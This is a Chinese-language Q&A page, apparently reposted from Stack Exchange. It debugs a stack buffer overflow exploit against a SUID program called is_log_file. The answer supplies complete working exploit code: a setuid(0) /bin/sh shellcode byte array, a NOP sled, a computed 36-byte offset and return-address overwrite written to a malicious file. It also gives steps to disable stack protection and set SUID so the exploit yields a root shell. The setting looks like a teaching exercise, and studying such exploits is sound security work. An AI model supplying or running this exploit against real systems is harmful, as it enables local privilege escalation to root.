缓冲区溢出漏洞利用调试求助:恶意文件触发段错误
缓冲区溢出漏洞利用修复方案
核心问题分析
当前代码执行时触发段错误的关键原因有三个:
- Shellcode定义错误:用字符串转义形式存储,写入文件的是ASCII字符而非实际机器指令字节
- 未正确覆盖返回地址:溢出后EIP被随机垃圾数据覆盖,无法跳转到Shellcode执行
- 缓冲区偏移计算错误:未针对
verify函数中32字节的local_buf计算溢出所需的精确长度
修复步骤与代码修改
1. 修正Shellcode定义
将字符串形式的Shellcode改为字节数组,直接用十六进制表示机器指令,确保写入文件的是正确的指令字节:
unsigned char shellcode[] = { 0x31, 0xdb, 0x89, 0xd8, 0xb0, 0x17, 0xcd, 0x80, // setuid(0) 0x31, 0xdb, 0x89, 0xd8, 0xb0, 0x2e, 0xcd, 0x80, // setgid(0) 0x31, 0xc0, // xor eax, eax 0x50, // push eax 0x68, 0x2f, 0x2f, 0x73, 0x68, // push 0x68732f2f ("//sh") 0x68, 0x2f, 0x62, 0x69, 0x6e, // push 0x6e69622f ("/bin") 0x89, 0xe3, // mov ebx, esp 0x50, // push eax 0x53, // push ebx 0x89, 0xe1, // mov ecx, esp 0x99, // cdq 0xb0, 0x0b, // mov al, 0x0b 0xcd, 0x80 // int 0x80 };
2. 计算溢出偏移并覆盖返回地址
32位系统中,verify函数的栈结构为:
- 32字节
local_buf - 4字节EBP(栈基址)
- 4字节返回地址(EIP)
需要先填充32+4=36字节的垃圾数据,之后写入返回地址,指向NOP滑区的位置(确保EIP跳转到NOP序列后能滑入Shellcode)。
3. 修改buf_exploit.c主逻辑
调整缓冲区填充顺序:先填NOP滑区,然后是Shellcode,最后覆盖返回地址。同时以二进制模式写入文件,避免字符串转义问题。
修改后的完整buf_exploit.c:
#include <stdio.h> #include <stdlib.h> #include <string.h> #define BUFFER_SIZE 1024 #define NOP 0x90 // 修正为字节数组形式的Shellcode unsigned char shellcode[] = { 0x31, 0xdb, 0x89, 0xd8, 0xb0, 0x17, 0xcd, 0x80, // setuid(0) 0x31, 0xdb, 0x89, 0xd8, 0xb0, 0x2e, 0xcd, 0x80, // setgid(0) 0x31, 0xc0, // xor eax, eax 0x50, // push eax 0x68, 0x2f, 0x2f, 0x73, 0x68, // push 0x68732f2f ("//sh") 0x68, 0x2f, 0x62, 0x69, 0x6e, // push 0x6e69622f ("/bin") 0x89, 0xe3, // mov ebx, esp 0x50, // push eax 0x53, // push ebx 0x89, 0xe1, // mov ecx, esp 0x99, // cdq 0xb0, 0x0b, // mov al, 0x0b 0xcd, 0x80 // int 0x80 }; int main() { char buffer[BUFFER_SIZE]; char *log_file = "malicious_log_file"; FILE *fp; // 32位系统下,local_buf(32) + EBP(4) = 36字节偏移后覆盖返回地址 int offset = 36; // 实际地址需通过调试获取,示例用0xbffffc00(需替换为local_buf的实际栈地址) unsigned int ret_addr = 0xbffffc00; // 填充NOP滑区 memset(buffer, NOP, BUFFER_SIZE); // 将Shellcode放在缓冲区中间(NOP滑区之后) memcpy(buffer + offset + 4, shellcode, sizeof(shellcode)); // 覆盖返回地址,指向NOP滑区 memcpy(buffer + offset, &ret_addr, sizeof(ret_addr)); // 以二进制模式写入文件,避免转义 fp = fopen(log_file, "wb"); fwrite(buffer, BUFFER_SIZE, 1, fp); fclose(fp); return 0; }
关键注意事项
- 返回地址调试:取消
verify函数中printf("%p\n", local_buf);的注释,运行./is_log_file test打印local_buf的栈地址,将ret_addr设置为该地址加上16(落在NOP滑区中间)。 - 编译选项:编译
is_log_file时关闭栈保护并开启栈可执行:gcc -fno-stack-protector -z execstack -m32 is_log_file.c -o is_log_file。 - 权限设置:给
is_log_file添加SUID权限:chmod u+s is_log_file,确保溢出后能获取root权限。 - 修正fscanf语句:将
is_log_file.c中的fscanf(file,"%[^\\n]", buffer);改为fscanf(file,"%[^\n]", buffer);,避免读取逻辑错误。
内容的提问来源于stack exchange,提问作者green box
相关产品推荐
相关产品推荐

